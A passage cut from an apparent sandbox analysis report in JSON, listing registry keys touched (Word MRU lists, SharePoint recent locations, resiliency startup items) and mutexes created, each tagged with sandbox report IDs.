DISPLAY","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 1\\ITEM 1","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 2\\ITEM 2","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 3\\ITEM 3","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 4\\ITEM 4","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 5\\ITEM 5","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 6\\ITEM 6","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 7\\ITEM 7","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 8\\ITEM 8","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 9\\ITEM 9","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 10\\ITEM 10","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 11\\ITEM 11","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 12\\ITEM 12","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 13\\ITEM 13","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 14\\ITEM 14","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 15\\ITEM 15","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 16\\ITEM 16","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 17\\ITEM 17","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 18\\ITEM 18","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 19\\ITEM 19","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 20\\ITEM 20","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 21\\ITEM 21","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 22\\ITEM 22","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 23\\ITEM 23","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 24\\ITEM 24","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 25\\ITEM 25","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 26\\ITEM 26","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 27\\ITEM 27","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 28\\ITEM 28","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 29\\ITEM 29","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 30\\ITEM 30","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 31\\ITEM 31","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 32\\ITEM 32","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 33\\ITEM 33","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 34\\ITEM 34","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 35\\ITEM 35","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 36\\ITEM 36","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 37\\ITEM 37","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 38\\ITEM 38","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 39\\ITEM 39","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 40\\ITEM 40","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 41\\ITEM 41","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 42\\ITEM 42","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 43\\ITEM 43","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 44\\ITEM 44","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 45\\ITEM 45","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 46\\ITEM 46","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 47\\ITEM 47","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 48\\ITEM 48","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 49\\ITEM 49","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 50\\ITEM 50","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 1\\SITE 1","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 2\\SITE 2","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 3\\SITE 3","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 4\\SITE 4","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 5\\SITE 5","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 6\\SITE 6","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 7\\SITE 7","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 8\\SITE 8","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 9\\SITE 9","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 10\\SITE 10","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 11\\SITE 11","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 12\\SITE 12","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 13\\SITE 13","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 14\\SITE 14","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 15\\SITE 15","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 16\\SITE 16","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 17\\SITE 17","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 18\\SITE 18","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 19\\SITE 19","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 20\\SITE 20","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\MAX DISPLAY\\MAX DISPLAY","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 1\\ITEM 1","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 2\\ITEM 2","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 3\\ITEM 3","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 4\\ITEM 4","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 5\\ITEM 5","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 6\\ITEM 6","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 7\\ITEM 7","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 8\\ITEM 8","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 9\\ITEM 9","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 10\\ITEM 10","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 11\\ITEM 11","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 12\\ITEM 12","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 13\\ITEM 13","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 14\\ITEM 14","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 15\\ITEM 15","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 16\\ITEM 16","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 17\\ITEM 17","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 18\\ITEM 18","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 19\\ITEM 19","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 20\\ITEM 20","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 21\\ITEM 21","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 22\\ITEM 22","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 23\\ITEM 23","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 24\\ITEM 24","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 25\\ITEM 25","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 26\\ITEM 26","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 27\\ITEM 27","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 28\\ITEM 28","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 29\\ITEM 29","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 30\\ITEM 30","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 31\\ITEM 31","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 32\\ITEM 32","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 33\\ITEM 33","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 34\\ITEM 34","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 35\\ITEM 35","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 36\\ITEM 36","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 37\\ITEM 37","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 38\\ITEM 38","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 39\\ITEM 39","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 40\\ITEM 40","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 41\\ITEM 41","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 42\\ITEM 42","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 43\\ITEM 43","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 44\\ITEM 44","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 45\\ITEM 45","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 46\\ITEM 46","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 47\\ITEM 47","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 48\\ITEM 48","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 49\\ITEM 49","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 50\\ITEM 50","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\\Z=3\\Z=3","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\\I83\\I83","sources":[{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\x64_10MU_ACBPIDS_S-1-5-5-0-63623","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\x64_10MU_ACB10_S-1-5-5-0-63623","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\552FFA80-3393-423d-8671-7BA046BB5906","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"},{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"},{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-AA5D9347","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{BDD98A3C-B57F-4199-B92A-95A54AA1132E}-36C8AB68","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\CSI_OMTX:{B5F611DB-089A-4732-A533-ADB804E9E887}","sources":[{"report_type":"sandbox","report_id":"5